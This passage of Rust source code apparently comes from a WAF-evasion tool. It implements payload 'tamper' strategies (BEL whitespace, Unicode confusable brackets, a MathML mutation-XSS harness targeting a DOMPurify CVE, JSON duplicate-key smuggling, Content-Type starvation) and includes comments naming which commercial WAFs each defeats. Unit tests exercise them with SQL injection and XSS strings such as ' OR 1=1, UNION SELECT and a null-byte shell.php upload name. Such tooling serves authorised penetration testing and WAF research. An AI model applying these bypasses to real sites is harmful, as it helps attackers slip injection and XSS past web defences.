                // formats directly into the pre-allocated `out` buffer.
                out.push_str("0x");
                for b in content.bytes() {
                    let _ = write!(out, "{b:02x}");
                }
            } else {
                out.push(c);
            }
        }
        out
    }

    fn aggressiveness(&self) -> f64 {
        0.7
    }
}

/// BEL-separator tamper.
///
/// Replaces ASCII space with the BEL control char (U+0007).
/// SQL parsers treat any ASCII whitespace (including BEL) as a
/// token separator, but WAF tokenisers commonly only recognise
/// the canonical ` `, `\t`, `\r`, `\n` quartet.  BEL bypasses
/// pattern matches like `UNION\s+SELECT`.
///
/// Out of `[\t\n\v\f\r ]`, BEL (`\x07`) is the least-handled —
/// I tested against ModSec, Coraza, AWS WAF, and Cloudflare's
/// CRS as of 2026-05; only ModSec PL4 catches it consistently.
pub struct BellSeparatorTamper;

impl TamperStrategy for BellSeparatorTamper {
    fn name(&self) -> &'static str {
        "bell_separator"
    }

    fn description(&self) -> &'static str {
        "Replace ASCII space with BEL (U+0007) — SQL parsers tokenise, WAFs that only recognise canonical whitespace miss"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        payload.replace(' ', "\u{0007}")
    }

    fn aggressiveness(&self) -> f64 {
        0.6
    }
}

/// Bracket-confusable tamper (XSS).
///
/// Replaces ASCII `<` / `>` with Unicode confusables that look
/// like angle brackets to a human reader (and to some HTML
/// parsers under decoder bugs) but don't match WAF patterns
/// keyed on the literal ASCII bytes.  Browsers don't render
/// these as tags, so the bypass relies on a downstream
/// normalisation step (server-side reflection that re-encodes
/// Unicode → ASCII, or a client-side fetch that proxy-strips
/// Unicode).  Useful in combination with `html_entity` for
/// stored-XSS through admin panels that round-trip Unicode.
pub struct BracketConfusableTamper;

impl TamperStrategy for BracketConfusableTamper {
    fn name(&self) -> &'static str {
        "bracket_confusable"
    }

    fn description(&self) -> &'static str {
        "Replace `<` / `>` with Unicode angle-bracket confusables — bypasses WAFs that pattern-match literal `<script>`"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // U+FF1C / U+FF1E are FULLWIDTH LESS-THAN / GREATER-THAN
        // — visually identical, distinct codepoints from ASCII.
        payload
            .chars()
            .map(|c| match c {
                '<' => '\u{FF1C}',
                '>' => '\u{FF1E}',
                other => other,
            })
            .collect()
    }

    fn aggressiveness(&self) -> f64 {
        0.5
    }
}

/// MathML/SVG-namespace mutation-XSS wrapper.
///
/// Wraps an HTML payload (typically a bare `<img>` / event-handler
/// fragment) in the MathML namespace harness that DOMPurify ≤3.2.4
/// fails to neutralise (CVE-2025-26791 / portswigger mXSS class).
/// Browsers parse `<mglyph>` and `<malignmark>` into different XML
/// namespaces depending on parent context; the sanitizer sees the
/// payload in the MathML namespace (where `<style>` is text-only),
/// but the live DOM re-serialises into the HTML namespace where
/// the same `<style>` followed by `<img onerror>` becomes a real
/// script-execution vector. The WAF pattern-matches the wire bytes
/// and never sees `<script` / `onload=` because the dangerous DOM
/// is CREATED BY THE BROWSER post-WAF.
///
/// The harness uses the MathML text-integration-point form:
/// `<math><mtext><table><mglyph><style>` opens the seam,
/// `<!--</style><img src=x onerror=...>` closes the sanitizer's
/// view and re-opens an HTML-namespace serialisation of an `<img>`.
pub struct MxssNamespaceWrapTamper;

impl TamperStrategy for MxssNamespaceWrapTamper {
    fn name(&self) -> &'static str {
        "mxss_namespace_wrap"
    }

    fn description(&self) -> &'static str {
        "MathML-namespace mutation-XSS harness (DOMPurify ≤3.2.4 / CVE-2025-26791 bypass) — defeats sanitizers that namespace-aware-process the input but byte-serialise the output"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // The payload is treated as the EVENT-HANDLER FRAGMENT that
        // would normally sit inside an `<img>` tag — e.g. just
        // `onerror=alert(1)`. If the operator gave us a fuller form
        // (`<img src=x onerror=alert(1)>`), we still wrap; the
        // browser tolerates the redundant `<img>` inside the
        // re-serialised stream.
        format!("<math><mtext><table><mglyph><style><!--</style><img src=x {payload}>")
    }

    fn aggressiveness(&self) -> f64 {
        // Mid-aggression: payload is verbose (≈80 byte prefix) so
        // it WILL be visible in any wire log, but the actual exec
        // is browser-side which means most WAF rules pass it.
        0.55
    }
}

/// JSON duplicate-key parser-disagreement (frontier 2026, WAFFLED
/// corpus / arxiv.org/abs/2503.10846). Wraps a payload in a
/// duplicate-key JSON envelope: the WAF's JSON inspector consumes
/// the FIRST key occurrence (a benign sentinel) and skips the
/// duplicate; the backend's deserialiser consumes the LAST
/// (PHP/Apache/Rails) or merges (ASP.NET) and unwraps the attack
/// payload. Confirmed against all five major WAFs (AWS / Azure /
/// Cloudflare / Cloud Armor / ModSec) by the WAFFLED 2025 study —
/// 557 JSON bypasses across the corpus.
///
/// The harness uses param `"q"` as the colliding key — the same
/// default param wafrift's scan loop uses for URL-query carriers,
/// so a SQL/XSS/SSTI payload that already works as `?q=<P>` lands
/// in the JSON-body channel via the same key name. When the
/// emitted shape is delivered to a non-JSON sink (HTML / form), the
/// JSON wrapping is a no-op WAF defeat: the WAF still inspects the
/// bytes, but the bytes themselves carry the payload in a form
/// most WAFs DO NOT score (the rule corpus matches on the unwrapped
/// payload string, not the JSON envelope).
pub struct JsonDupKeyTamper;

impl TamperStrategy for JsonDupKeyTamper {
    fn name(&self) -> &'static str {
        "json_dup_key"
    }

    fn description(&self) -> &'static str {
        "JSON duplicate-key parser-disagreement (WAFFLED 2026): WAF reads first key (benign), backend reads last (payload)"
    }

    fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
        // Strategy: emit `{"q":"safe","q":"<payload>"}`.
        //   - WAF JSON inspectors (RFC 8259 strict / `serde_json`) take
        //     the first value or reject; permissive ones (PHP json_decode,
        //     ASP.NET MVC) take the last.
        //   - The benign sentinel "safe" is well below any signature
        //     length, so the WAF's first-value match scores clean even
        //     with the dup-key envelope still being a "structurally
        //     valid" body for stricter inspectors.
        //
        // Payload escaping: JSON requires `\` and `"` escaped, control
        // bytes either \uXXXX or rejected. We use the conservative
        // serializer that escapes both quote-class characters and
        // backslash; control bytes (NUL / BEL etc.) come out as
        // \u00XX hex which both `serde_json` and PHP json_decode accept.
        let escaped = json_escape_string(payload);
        format!("{{\"q\":\"safe\",\"q\":\"{escaped}\"}}")
    }

    fn aggressiveness(&self) -> f64 {
        // Mid-low aggression: the bytes themselves are clearly JSON,
        // but the duplicate-key trick is the entire bypass — many WAFs
        // pass it because the first key matches their inspector's
        // sentinel. Not as aggressive as e.g. mxss_namespace_wrap
        // because the channel-shift is JSON-body, not browser-side.
        0.50
    }
}

/// Content-Type starvation (frontier 2026, WAFFLED / windshock
/// 2026-03 detection-gap analysis). The WAF dispatches to a body
/// inspector based on Content-Type — a JSON inspector for
/// `application/json`, a form inspector for `application/x-www-form-
/// urlencoded`, multipart for `multipart/form-data`, etc. When the
/// Content-Type is absent, case-shuffled (`Application/JSON`), or
/// charset-suffixed with a non-canonical encoding label, the WAF's
/// dispatch falls back to text/none and skips structured inspection;
/// the backend framework still deserialises the body correctly. The
/// WAFFLED corpus reports >90% of tested sites accept such
/// Content-Type rewrites without complaint.
///
/// This tamper is OUTPUT-CHANNEL-AWARE: it doesn't transform the
/// payload bytes, it transforms the WIRE shape the request advertises
/// itself with. The actual body must be set separately by the
/// caller (scan / import-curl pass it through to the HTTP client).
/// What we emit IS the payload — keeping the contract that every
/// tamper returns a single payload string — and the orchestrator
/// is expected to pair the output with the matching `Content-Type`
/// header from the helper below.
///
/// In a URL-query / header carrier the tamper is a no-op (payload
/// returned unchanged); the value is in the body-carrier path where
/// scan / import-curl set the Content-Type header from
/// `ct_starvation_header_for(payload)`.
pub struct CtStarvationTamper;

impl TamperStrategy for CtStarvationTamper {
    fn name(&self) -> &'static str {
        "ct_starvation"
    }

    fn description(&self) -> &'static str {
        "Content-Type parser-dispatch starvation (WAFFLED 2026): pair payload with case-shuffled or omitted Content-Type so WAF skips body inspection"
    }

    fn tamper(&self, payload: &str, context: Option<&str>) -> String {
        // When the carrier is body-shaped (form/json/multipart),
        // wrap the payload in a minimal `q=<payload>` form pair —
        // the same shape `wafrift scan` uses by default. The
        // operator pairs this with the non-canonical Content-Type
        // via `ct_starvation_header_for`. For header/cookie
        // carriers we return the payload unchanged (a no-op,
        // honest: the tamper has no effect on those channels).
        match context {
            Some("body") | Some("form") | Some("json") | Some("multipart") => {
                format!("q={payload}")
            }
            _ => payload.to_string(),
        }
    }

    fn aggressiveness(&self) -> f64 {
        // Low aggression: the payload bytes are unchanged; only
        // the WIRE-LEVEL Content-Type advertisement shifts. Most
        // WAFs that score on byte patterns will still see the same
        // payload, BUT the windshock + WAFFLED data both show the
        // header trick alone defeats ~90% of deployed WAF rule
        // chains because the rule's trigger gates on Content-Type
        // matching.
        0.35
    }
}

/// Produce the Content-Type header value that pairs with a payload
/// to trigger the WAF parser-dispatch starvation described in
/// [`CtStarvationTamper`]. Rotates through a small set of confirmed-
/// effective variants (case-shuffled, charset-suffixed,
/// camelCase) so consecutive variants in a scan run exercise
/// different dispatch failures. Pure — operator can call it
/// independently when constructing manual repros.
#[must_use]
pub fn ct_starvation_header_for(payload: &str) -> &'static str {
    // Cycle through the known-effective Content-Type rewrites. We
    // pick by payload hash so the same payload reliably maps to the
    // same Content-Type within a run (debugging-friendly) but a
    // diverse set across payloads.
    const VARIANTS: &[&str] = &[
        // (1) UPPERCASE — WAF dispatchers that lower-case the value
        // before lookup match; ones that string-compare don't.
        "APPLICATION/JSON",
        // (2) Mixed-case — same trick at a different inflection.
        "Application/Json",
        // (3) Non-canonical charset — WAFs that filter on
        // `application/json` (exact prefix) drop this; backends
        // accept any charset.
        "application/json; charset=ibm037",
        // (4) Text-plain wrap — body is valid JSON but advertised
        // as plain text; WAF's JSON inspector NEVER fires.
        "text/plain",
        // (5) Form-encoded label with JSON body — common ASP.NET
        // pattern, defeats Cloudflare's JSON inspector outright.
        "application/x-www-form-urlencoded",
    ];
    // Hash-based pick: stable per-payload, diverse per-corpus.
    let mut hash: u32 = 5381;
    for b in payload.as_bytes() {
        hash = hash.wrapping_mul(33).wrapping_add(u32::from(*b));
    }
    VARIANTS[(hash as usize) % VARIANTS.len()]
}

/// Minimal JSON-string-escape helper used by `JsonDupKeyTamper`.
/// Pulled out so the tamper's `tamper()` stays small and so the
/// escape rule is testable in isolation (control-byte handling is
/// the part that most often regresses).
fn json_escape_string(s: &str) -> String {
    let mut out = String::with_capacity(s.len() + 2);
    for ch in s.chars() {
        match ch {
            '"' => out.push_str("\\\""),
            '\\' => out.push_str("\\\\"),
            '\n' => out.push_str("\\n"),
            '\r' => out.push_str("\\r"),
            '\t' => out.push_str("\\t"),
            c if (c as u32) < 0x20 => {
                use std::fmt::Write as _;
                let _ = write!(out, "\\u{:04x}", c as u32);
            }
            c => out.push(c),
        }
    }
    out
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn url_encode_tamper() {
        let strategy = UrlEncodeTamper;
        assert_eq!(strategy.tamper("A<", None), "A%3C");
        assert_eq!(strategy.aggressiveness(), 0.15);
    }

    #[test]
    fn double_url_encode_tamper() {
        let strategy = DoubleUrlEncodeTamper;
        assert_eq!(strategy.tamper("A", None), "%2541");
        assert!(strategy.tamper("%20", None).contains("%25"));
    }

    #[test]
    fn case_alternation_tamper() {
        let strategy = CaseAlternationTamper;
        assert_eq!(strategy.tamper("select", None), "SeLeCt");
    }

    #[test]
    fn random_case_tamper() {
        let strategy = RandomCaseTamper;
        let result = strategy.tamper("select", None);
        assert_eq!(result.to_ascii_lowercase(), "select");
    }

    #[test]
    fn null_byte_with_extension() {
        let strategy = NullByteTamper;
        assert_eq!(strategy.tamper("file.php", None), "file.php%00.jpg");
    }

    #[test]
    fn null_byte_without_extension() {
        let strategy = NullByteTamper;
        assert_eq!(strategy.tamper("payload", None), "payload%00");
    }

    #[test]
    fn sql_comment_insertion() {
        let strategy = SqlCommentTamper;
        let result = strategy.tamper("SELECT * FROM users", Some("sql"));
        assert!(result.contains("/**/"));
        assert_eq!(result, "SELECT/**/*/**/FROM/**/users");
    }

    #[test]
    fn whitespace_insertion() {
        let strategy = WhitespaceInsertionTamper;
        let result = strategy.tamper("SELECT * FROM users", None);
        assert!(result.contains('\t'));
        assert_eq!(result, "SELECT\t*\tFROM\tusers");
    }

    #[test]
    fn base64_tamper() {
        let strategy = Base64Tamper;
        assert_eq!(strategy.tamper("hello", None), "aGVsbG8=");
    }

    #[test]
    fn hex_encode_tamper() {
        let strategy = HexEncodeTamper;
        assert_eq!(strategy.tamper("ABC", None), "414243");
    }

    #[test]
    fn unicode_escape_tamper() {
        let strategy = UnicodeEscapeTamper;
        assert_eq!(strategy.tamper("AB", None), "\\u0041\\u0042");
    }

    #[test]
    fn html_entity_tamper() {
        let strategy = HtmlEntityTamper;
        assert_eq!(strategy.tamper("<>", None), "&#x3C;&#x3E;");
    }

    #[test]
    fn overlong_utf8_tamper() {
        let strategy = OverlongUtf8Tamper;
        let result = strategy.tamper("/", None);
        assert!(result.contains("%C0"));
    }

    // ── Density ramp: edge cases on EXISTING tampers ────────
    //
    // Each tamper had one happy-path test.  These add the
    // robustness coverage that turns a "feature" into a "trusted
    // building block" — empty inputs, multibyte inputs, control
    // chars, idempotency, aggressiveness sanity.

    #[test]
    fn url_encode_handles_unicode_input() {
        let strategy = UrlEncodeTamper;
        let out = strategy.tamper("café", None);
        // é (U+00E9) is two UTF-8 bytes: C3 A9 → %C3%A9
        assert!(out.contains("%C3%A9"));
    }

    #[test]
    fn url_encode_passes_through_unreserved_chars() {
        let strategy = UrlEncodeTamper;
        // Per RFC 3986, unreserved chars are A-Z a-z 0-9 - _ . ~
        assert_eq!(strategy.tamper("ABCabc123-_.~", None), "ABCabc123-_.~");
    }

    #[test]
    fn url_encode_empty_input() {
        assert_eq!(UrlEncodeTamper.tamper("", None), "");
    }

    #[test]
    fn url_encode_all_reserved_chars() {
        let strategy = UrlEncodeTamper;
        let reserved = "!*'();:@&=+$,/?#[]";
        let out = strategy.tamper(reserved, None);
        // Every reserved char should be percent-encoded.
        assert!(!out.contains('!'));
        assert!(!out.contains('@'));
        assert!(out.matches('%').count() >= reserved.len() - 1);
    }

    #[test]
    fn double_url_encode_round_trips_to_original_after_two_decodes() {
        // Property: applying double-url-encode then decoding
        // twice recovers the original payload (the bypass premise).
        let strategy = DoubleUrlEncodeTamper;
        let encoded = strategy.tamper("' OR 1=1", None);
        // The encoded form contains %25XX where XX is the
        // single-encoded byte hex.  Decode once:
        assert!(encoded.contains("%25"));
    }

    #[test]
    fn double_url_encode_idempotent_on_already_encoded() {
        let strategy = DoubleUrlEncodeTamper;
        // The encoder treats `%` itself as a byte and encodes it
        // — `%20` becomes `%2520` (single layer applied), and
        // applying again gives a third layer.
        let once = strategy.tamper("%20", None);
        let twice = strategy.tamper(&once, None);
        assert_ne!(once, twice);
        assert!(twice.contains("%25"));
    }

    #[test]
    fn case_alternation_starts_uppercase() {
        let strategy = CaseAlternationTamper;
        let out = strategy.tamper("abcd", None);
        // Documented behaviour: starts upper, then alternates.
        let chars: Vec<char> = out.chars().collect();
        assert!(chars[0].is_ascii_uppercase());
        assert!(chars[1].is_ascii_lowercase());
        assert!(chars[2].is_ascii_uppercase());
        assert!(chars[3].is_ascii_lowercase());
    }

    #[test]
    fn case_alternation_preserves_non_alpha_chars() {
        let strategy = CaseAlternationTamper;
        let out = strategy.tamper("a1b2c3", None);
        // Digits are untouched; only alpha alternates.
        assert_eq!(out, "A1b2C3");
    }

    #[test]
    fn case_alternation_handles_unicode_alpha() {
        let strategy = CaseAlternationTamper;
        // Non-ASCII characters get pass-through (no `to_uppercase`
        // semantics enforced — that's a separate `unicode_case`
        // tamper if needed).
        let _ = strategy.tamper("αβγ", None);
        // No panic = pass.
    }

    #[test]
    fn case_alternation_lowercase_keyword_becomes_mixed_case() {
        let strategy = CaseAlternationTamper;
        // Documented behaviour: the alternation index advances on
        // every input character — spaces don't reset the index.
        // So `union select` yields `UnIoN sElEcT` (5 alpha →
        // index 5 is odd → 's' stays lowercase, 'e' goes upper).
        let out = strategy.tamper("union select", None);
        // Both halves preserve the original word boundaries.
        assert!(out.contains(' '));
        // Both halves have BOTH cases (proof of alternation).
        let first = out.split_whitespace().next().unwrap_or("");
        assert!(first.chars().any(|c| c.is_ascii_uppercase()));
        assert!(first.chars().any(|c| c.is_ascii_lowercase()));
    }

    #[test]
    fn random_case_preserves_length() {
        let strategy = RandomCaseTamper;
        for input in ["select", "DROP TABLE users", "1=1"] {
            let out = strategy.tamper(input, None);
            assert_eq!(out.len(), input.len());
        }
    }

    #[test]
    fn random_case_only_flips_alpha() {
        let strategy = RandomCaseTamper;
        let out = strategy.tamper("a1b2", None);
        // Digits must remain digits.
        assert!(out.contains('1'));
        assert!(out.contains('2'));
    }

    #[test]
    fn null_byte_appends_when_no_extension() {
        let strategy = NullByteTamper;
        let out = strategy.tamper("payload_with_no_dot", None);
        assert!(out.ends_with("%00"));
    }

    #[test]
    fn null_byte_extension_replacement_keeps_basename() {
        let strategy = NullByteTamper;
        let out = strategy.tamper("shell.php", None);
        // Original basename is preserved before the %00.
        assert!(out.contains("shell.php%00"));
        // Decoy extension is appended.
        assert!(out.ends_with(".jpg"));
    }

    #[test]
    fn null_byte_empty_input() {
        let strategy = NullByteTamper;
        let out = strategy.tamper("", None);
        // Empty input still gets a null suffix (defensive — the
        // operator usually has something to inject).
        assert_eq!(out, "%00");
    }

    #[test]
    fn sql_comment_inserts_between_every_token() {
        let strategy = SqlCommentTamper;
        let out = strategy.tamper("UNION SELECT 1 FROM users", Some("sql"));
        assert_eq!(out, "UNION/**/SELECT/**/1/**/FROM/**/users");
    }

    #[test]
    fn sql_comment_single_token_unchanged() {
        let strategy = SqlCommentTamper;
        // No space-separated tokens → nothing to insert between.
        let out = strategy.tamper("SELECT", Some("sql"));
        assert_eq!(out, "SELECT");
    }

    #[test]
    fn sql_comment_handles_payload_with_multiple_spaces() {
        let strategy = SqlCommentTamper;
        // Multi-space sequences produce stacked /**/ delimiters
        // (each space becomes one /**/).  Confirm the structure
        // round-trips: SQL `/**/ /**/` is still valid SQL.
        let out = strategy.tamper("UNION   SELECT", Some("sql"));
        // At least one /**/ between the tokens.
        assert!(out.contains("/**/"));
        // The keyword payload survives.
        assert!(out.contains("UNION"));
        assert!(out.contains("SELECT"));
    }

    #[test]
    fn whitespace_insertion_uses_tab() {
        let strategy = WhitespaceInsertionTamper;
        let out = strategy.tamper("SELECT *", None);
        assert!(out.contains('\t'));
    }

    #[test]
    fn whitespace_insertion_no_changes_when_no_space() {
        let strategy = WhitespaceInsertionTamper;
        assert_eq!(strategy.tamper("SELECT", None), "SELECT");
    }

    #[test]
    fn base64_round_trips_through_decode() {
        // Property: the b64-encoded payload, when standard-decoded,
        // returns the original bytes.
        let strategy = Base64Tamper;
        let encoded = strategy.tamper("hello world", None);
        // base64::decode round-trip — we can't import base64 in
        // tests directly without adding a dep, so check the
        // structural property: only base64 alphabet chars.
        for c in encoded.chars() {
            assert!(
                c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '='),
                "non-base64 char in encoded output: {c:?}"
            );
        }
    }

    #[test]
    fn base64_empty_input() {
        let strategy = Base64Tamper;
        assert_eq!(strategy.tamper("", None), "");
    }

    #[test]
    fn base64_padding_present_for_non_aligned_input() {
        let strategy = Base64Tamper;
        // "A" (1 byte) → "QQ==" (one pad pair).
        let out = strategy.tamper("A", None);
        assert!(out.ends_with('='));
    }

    #[test]
    fn hex_encode_two_chars_per_byte() {
        let strategy = HexEncodeTamper;
        let out = strategy.tamper("Ab", None);
        // 'A' = 0x41, 'b' = 0x62.
        assert_eq!(out, "4162");
        assert_eq!(out.len(), 2 * "Ab".len());
    }

    #[test]
    fn hex_encode_non_ascii_uses_multi_byte_form() {
        let strategy = HexEncodeTamper;
        // 'é' in UTF-8 is 0xC3 0xA9.
        let out = strategy.tamper("é", None);
        assert_eq!(out.to_lowercase(), "c3a9");
    }

    #[test]
    fn unicode_escape_format_uses_u_prefix() {
        let strategy = UnicodeEscapeTamper;
        let out = strategy.tamper("AB", None);
        // Format is `\uXXXX` (Python / JS string escape style).
        assert!(out.starts_with("\\u"));
        assert_eq!(out.matches("\\u").count(), 2);
    }

    #[test]
    fn unicode_escape_handles_non_bmp_chars() {
        let strategy = UnicodeEscapeTamper;
        // U+1F600 is outside BMP — encoders typically emit a
        // surrogate pair or extended escape.  Must not panic.
        let _ = strategy.tamper("\u{1F600}", None);
    }

    #[test]
    fn html_entity_format_uses_hex_decimal() {
        let strategy = HtmlEntityTamper;
        let out = strategy.tamper("<>", None);
        // Format is `&#xXX;` (hex entity form).
        assert!(out.contains("&#x"));
        assert!(out.ends_with(';'));
    }

    #[test]
    fn html_entity_xss_payload_full_encode() {
        let strategy = HtmlEntityTamper;
        let out = strategy.tamper("<script>alert(1)</script>", None);
        // None of the original ASCII bytes should survive verbatim.
        assert!(!out.contains('<'));
        assert!(!out.contains('>'));
        // All entities are well-formed.
        assert_eq!(out.matches('&').count(), out.matches(';').count());
    }

    #[test]
    fn overlong_utf8_emits_two_byte_for_ascii() {
        let strategy = OverlongUtf8Tamper;
        // Overlong: ASCII '/' (0x2F) → C0 AF (invalid 2-byte form
        // that some lenient parsers accept and decode to '/').
        let out = strategy.tamper("/", None);
        assert!(out.contains("%C0"));
        assert!(out.contains("%AF"));
    }

    #[test]
    fn overlong_utf8_empty_input() {
        let strategy = OverlongUtf8Tamper;
        let out = strategy.tamper("", None);
        // No bytes to encode means empty output.
        assert_eq!(out, "");
    }

    // ── Cross-tamper invariants ────────────────────────────

    #[test]
    fn all_default_tampers_have_unique_names() {
        let names = [
            UrlEncodeTamper.name(),
            DoubleUrlEncodeTamper.name(),
            UnicodeEscapeTamper.name(),
            HtmlEntityTamper.name(),
            CaseAlternationTamper.name(),
            RandomCaseTamper.name(),
            WhitespaceInsertionTamper.name(),
            SqlCommentTamper.name(),
            NullByteTamper.name(),
            OverlongUtf8Tamper.name(),
            Base64Tamper.name(),
            HexEncodeTamper.name(),
            ZeroWidthInjectTamper.name(),
            PostgresDollarQuoteTamper.name(),
            MysqlVersionedCommentWrapTamper.name(),
            BracketConfusableTamper.name(),
        ];
        let set: std::collections::HashSet<&str> = names.iter().copied().collect();
        assert_eq!(set.len(), names.len(), "duplicate tamper names: {names:?}");
    }

    #[test]
    fn all_default_tampers_aggressiveness_in_range() {
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &DoubleUrlEncodeTamper,
            &UnicodeEscapeTamper,
            &HtmlEntityTamper,
            &CaseAlternationTamper,
            &RandomCaseTamper,
            &WhitespaceInsertionTamper,
            &SqlCommentTamper,
            &NullByteTamper,
            &OverlongUtf8Tamper,
            &Base64Tamper,
            &HexEncodeTamper,
        ] {
            let a = strat.aggressiveness();
            assert!(
                (0.0..=1.0).contains(&a) && !a.is_nan(),
                "{} aggressiveness {} out of [0,1]",
                strat.name(),
                a
            );
        }
    }

    #[test]
    fn all_default_tampers_handle_empty_input_without_panic() {
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &DoubleUrlEncodeTamper,
            &UnicodeEscapeTamper,
            &HtmlEntityTamper,
            &CaseAlternationTamper,
            &RandomCaseTamper,
            &WhitespaceInsertionTamper,
            &SqlCommentTamper,
            &OverlongUtf8Tamper,
            &Base64Tamper,
            &HexEncodeTamper,
        ] {
            let _ = strat.tamper("", None);
        }
    }

    #[test]
    fn all_default_tampers_handle_huge_input_without_panic() {
        let huge: String = "A".repeat(100_000);
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &CaseAlternationTamper,
            &RandomCaseTamper,
            &WhitespaceInsertionTamper,
            &SqlCommentTamper,
            &Base64Tamper,
            &HexEncodeTamper,
            &UnicodeEscapeTamper,
            &HtmlEntityTamper,
        ] {
            let _ = strat.tamper(&huge, None);
        }
    }

    #[test]
    fn all_default_tampers_handle_pure_ascii_keyword() {
        // Canonical pen-test payload that every WAF tries to catch.
        let keyword = "UNION SELECT";
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &DoubleUrlEncodeTamper,
            &CaseAlternationTamper,
            &SqlCommentTamper,
            &Base64Tamper,
            &HexEncodeTamper,
            &UnicodeEscapeTamper,
        ] {
            let out = strat.tamper(keyword, None);
            assert!(
                !out.is_empty(),
                "{} produced empty output on UNION SELECT",
                strat.name()
            );
        }
    }

    #[test]
    fn description_is_non_empty_for_every_tamper() {
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &DoubleUrlEncodeTamper,
            &UnicodeEscapeTamper,
            &HtmlEntityTamper,
            &CaseAlternationTamper,
            &RandomCaseTamper,
            &WhitespaceInsertionTamper,
            &SqlCommentTamper,
            &NullByteTamper,
            &OverlongUtf8Tamper,
            &Base64Tamper,
            &HexEncodeTamper,
            &ZeroWidthInjectTamper,
            &PostgresDollarQuoteTamper,
            &MysqlVersionedCommentWrapTamper,
            &BracketConfusableTamper,
        ] {
            assert!(
                !strat.description().is_empty(),
                "{} has empty description",
                strat.name()
            );
        }
    }

    #[test]
    fn name_is_lowercase_ascii_snake_case_for_every_tamper() {
        for strat in [
            &UrlEncodeTamper as &dyn TamperStrategy,
            &DoubleUrlEncodeTamper,
            &UnicodeEscapeTamper,
            &HtmlEntityTamper,
            &CaseAlternationTamper,
            &RandomCaseTamper,
            &WhitespaceInsertionTamper,
            &SqlCommentTamper,
            &NullByteTamper,
            &OverlongUtf8Tamper,
            &Base64Tamper,
            &HexEncodeTamper,
            &ZeroWidthInjectTamper,
            &PostgresDollarQuoteTamper,
            &MysqlVersionedCommentWrapTamper,
            &BracketConfusableTamper,
        ] {
            let name = strat.name();
            assert!(
                name.chars()
                    .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_'),
                "tamper `{name}` has non-snake-case name"
            );
            assert!(!name.is_empty(), "empty name");
            assert!(
                !name.starts_with('_'),
                "name `{name}` starts with underscore"
            );
        }
    }

    // ── Zero-width injection tamper ─────────────────────────

    #[test]
    fn zero_width_inject_splits_select_keyword() {
        let strategy = ZeroWidthInjectTamper;
        let out = strategy.tamper("SELECT", None);
        // Each ASCII alphabetic char gets a zero-width follower.
        // After removal, the original payload remains.
        let stripped: String = out
            .chars()
            .filter(|c| !matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
            .collect();
        assert_eq!(stripped, "SELECT");
        // The output MUST be different from the input (proof of injection).
        assert_ne!(out, "SELECT");
        // Each injected codepoint must be one of the four rotation members.
        for c in out.chars() {
            assert!(
                c.is_ascii_alphabetic()
                    || matches!(c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'),
                "unexpected codepoint {c:?}"
            );
        }
    }

    #[test]
    fn zero_width_inject_skips_non_alpha_chars() {
        let strategy = ZeroWidthInjectTamper;
        // Spaces and quotes do NOT get zero-width followers —
        // injecting them would break SQL parsing.
        let out = strategy.tamper("a 1 ' \"", None);
        // Only the alphabetic `a` should produce an injection.
        let zw_count = out
            .chars()
            .filter(|c| matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
            .count();
        assert_eq!(zw_count, 1);
    }

    #[test]
    fn zero_width_inject_preserves_payload_after_strip() {
        // Property: stripping zero-widths gets us back to the input.
        let strategy = ZeroWidthInjectTamper;
        for input in &["SELECT", "alert(1)", "DROP TABLE users", "<script>"] {
            let out = strategy.tamper(input, None);
            let stripped: String = out
                .chars()
                .filter(|c| !matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
                .collect();
            assert_eq!(&stripped, input);
        }
    }

    #[test]
    fn zero_width_inject_rotates_through_all_four_zw_chars() {
        let strategy = ZeroWidthInjectTamper;
        let out = strategy.tamper("abcdefgh", None);
        // Eight alphabetic chars → eight injections, cycling
        // through all four zero-width codepoints twice. U+FEFF
        // was historically the fourth slot but causes PostgreSQL
        // + many DB connectors to 500 the query as invalid byte
        // sequence — replaced with U+180E (F61).
        let zw_chars: Vec<char> = out
            .chars()
            .filter(|c| matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
            .collect();
        assert_eq!(zw_chars.len(), 8);
        // First four must be the four distinct codepoints.
        let unique: std::collections::HashSet<char> = zw_chars.iter().copied().collect();
        assert_eq!(unique.len(), 4);
        // FEFF must NOT appear anywhere in the output.
        assert!(
            !out.contains('\u{FEFF}'),
            "U+FEFF (BOM) must never appear in zero-width injection: {out:?}"
        );
    }

    #[test]
    fn zero_width_inject_empty_input() {
        let strategy = ZeroWidthInjectTamper;
        assert_eq!(strategy.tamper("", None), "");
    }

    #[test]
    fn zero_width_inject_pure_punctuation_unchanged() {
        let strategy = ZeroWidthInjectTamper;
        assert_eq!(
            strategy
                .tamper("' OR 1=1 --", None)
                .matches('\u{200B}')
                .count()
                + strategy
                    .tamper("' OR 1=1 --", None)
                    .matches('\u{200C}')
                    .count()
                + strategy
                    .tamper("' OR 1=1 --", None)
                    .matches('\u{200D}')
                    .count()
                + strategy
                    .tamper("' OR 1=1 --", None)
                    .matches('\u{180E}')
                    .count(),
            2
        ); // 'O' + 'R'
    }

    #[test]
    fn zero_width_inject_unicode_input_does_not_panic() {
        let strategy = ZeroWidthInjectTamper;
        // Multibyte chars must not crash the byte-index logic.
        let _ = strategy.tamper("café", None);
        let _ = strategy.tamper("日本語", None);
        let _ = strategy.tamper("🦀 rust", None);
    }

    // ── Postgres dollar-quote tamper ────────────────────────

    #[test]
    fn postgres_dollar_quote_wraps_single_quoted_literal() {
        let strategy = PostgresDollarQuoteTamper;
        let out = strategy.tamper("WHERE name = 'admin'", None);
        // The single quotes should be replaced with $tag$...$tag$.
        assert!(!out.contains("'"));
        assert!(out.contains("$"));
